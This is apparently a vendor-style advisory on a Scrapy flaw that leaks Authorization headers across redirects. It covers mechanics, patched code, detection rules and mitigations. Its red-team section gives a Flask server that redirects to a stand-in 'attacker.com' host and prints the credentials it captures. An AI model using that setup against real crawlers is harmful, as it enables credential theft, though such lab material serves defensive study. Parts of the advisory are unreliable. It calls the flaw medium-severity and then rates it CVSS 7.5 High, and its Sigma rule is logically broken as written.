CVE-2024-3574

Executive Summary

CVE-2024-3574 is a medium-severity information disclosure vulnerability in the Scrapy web scraping framework, version 2.10.1. The flaw occurs when Scrapy follows a cross-domain redirect without stripping the Authorization header from the original request. This header, which often contains credentials (e.g., Basic Auth tokens, API keys), is then transmitted to the third-party redirect target. An attacker controlling the redirect destination can capture these credentials, potentially leading to account hijacking or unauthorized access to the original service. The vulnerability has a CVSS score of 7.5 (High) due to the ease of exploitation (network-based, no privileges required) and the high confidentiality impact. No public exploit code or proof-of-concept is currently available, and no official patch has been released.

Supply Chain & Package Security

This vulnerability affects the Scrapy Python package (PyPI). Organizations using Scrapy in automated scraping pipelines, data collection services, or security testing tools should immediately assess their exposure. The package is widely used in the Python ecosystem, and the flaw can be triggered by any cross-domain redirect during a scraping session. Since no patch exists, users must implement mitigations at the application or network layer.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the low complexity of exploitation and the potential for credential theft. An attacker only needs to control a redirect endpoint that Scrapy follows.

Deep Dive & Mechanics

The vulnerability resides in Scrapy's HTTP redirect handling logic. When Scrapy's RedirectMiddleware processes a 3xx response, it constructs a new request for the redirect target. However, it fails to remove the Authorization header from the original request before sending it to the new domain. This is a classic cross-domain credential leak.

Technical Flow:

1. Scrapy sends a request to https://example.com/api with an Authorization: Basic <base64> header.
2. The server responds with a 302 redirect to https://attacker-controlled.com/steal.
3. Scrapy's RedirectMiddleware creates a new request for https://attacker-controlled.com/steal.
4. The new request includes the original Authorization header.
5. The attacker's server receives the credentials.

The fix would involve checking if the redirect target domain differs from the original request domain and, if so, stripping the Authorization header (and potentially other sensitive headers like Cookie, Proxy-Authorization).

Vulnerable vs. Patched Code

Vulnerable Code (Scrapy 2.10.1):

# scrapy/downloadermiddlewares/redirect.py (simplified)
class RedirectMiddleware:
    def process_response(self, request, response, spider):
        if response.status in [301, 302, 303, 307, 308]:
            redirected_url = urljoin(request.url, response.headers['Location'])
            # BUG: No domain check before copying headers
            redirected_request = request.replace(url=redirected_url)
            return redirected_request
        return response

Patched Code (Hypothetical Fix):

# scrapy/downloadermiddlewares/redirect.py (patched)
from urllib.parse import urlparse

class RedirectMiddleware:
    def process_response(self, request, response, spider):
        if response.status in [301, 302, 303, 307, 308]:
            redirected_url = urljoin(request.url, response.headers['Location'])
            redirected_request = request.replace(url=redirected_url)
            # Strip Authorization header if domain changes
            original_domain = urlparse(request.url).netloc
            new_domain = urlparse(redirected_url).netloc
            if original_domain != new_domain:
                redirected_request.headers.pop('Authorization', None)
            return redirected_request
        return response

Exploitation & Lab Setup

Red Team

Since no public exploit exists, a red team can simulate the attack as follows:

1. Setup a malicious redirect server (e.g., using Python Flask):

from flask import Flask, Response, request
app = Flask(__name__)

@app.route('/redirect')
def redirect():
    # Log the Authorization header
    auth = request.headers.get('Authorization', 'None')
    print(f"Captured Authorization: {auth}")
    return Response(status=200)

@app.route('/')
def index():
    # Redirect to our malicious server
    return Response(status=302, headers={'Location': 'http://attacker.com/redirect'})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

2. Configure Scrapy to scrape a target that redirects to your server:

import scrapy

class TestSpider(scrapy.Spider):
    name = 'test'
    start_urls = ['http://target.com/redirect-to-attacker']

    def parse(self, response):
        pass

3. Run the spider and observe the captured credentials on the attacker server.

Blue Team

To detect exploitation attempts:

1. Monitor outbound HTTP requests for Authorization headers being sent to unexpected domains.
2. Use network traffic analysis to flag cross-domain requests containing credentials.
3. Implement a WAF rule to block requests with Authorization headers to external domains (if business logic allows).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests containing Authorization header to domains not matching the original request domain.
  • Unexpected 302/301 redirect responses from internal services to external IPs.
• Log IOCs:
  • Scrapy logs showing Authorization header in redirected requests.
  • Web server logs showing Authorization header in requests to redirect endpoints.
• File IOCs:
  • Scrapy project files with custom RedirectMiddleware that does not strip headers.

Detection Engineering

YARA Rule

rule CVE_2024_3574_Scrapy_Auth_Leak {
    meta:
        description = "Detects Scrapy code vulnerable to Authorization header leak on cross-domain redirect"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-3574"
    strings:
        $s1 = "Authorization" nocase
        $s2 = "redirect" nocase
        $s3 = "process_response" nocase
        $s4 = "request.replace" nocase
    condition:
        all of ($s*) and #s1 > 0
}

Sigma Rule

title: Scrapy Authorization Header Leak via Cross-Domain Redirect
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects outbound HTTP requests with Authorization header to external domains after a redirect
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        http.request.headers|contains: 'Authorization'
        http.response.status_code|in: [301, 302, 303, 307, 308]
        http.request.referrer|contains: '://'
        http.request.host|not_contains: http.request.referrer
    condition: selection
falsepositives:
    - Legitimate cross-domain authentication (e.g., OAuth flows)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3574 Scrapy Authorization Header Leak"; flow:to_server; content:"Authorization"; http_header; pcre:"/Authorization\s*:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Manual Code Fix: Modify the RedirectMiddleware in your Scrapy project to strip the Authorization header on cross-domain redirects (see patched code example above).
2. Network Segmentation: Restrict outbound traffic from Scrapy instances to only allow connections to trusted domains.
3. Credential Rotation: If you suspect credentials may have been leaked, rotate all affected API keys and passwords.
4. Monitor Logs: Enable detailed logging for Scrapy and monitor for unexpected redirects.
5. Use a Proxy: Route Scrapy traffic through a forward proxy that can strip sensitive headers on cross-domain requests.
6. Upgrade: Watch for an official patch from the Scrapy project and apply it as soon as it is released.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert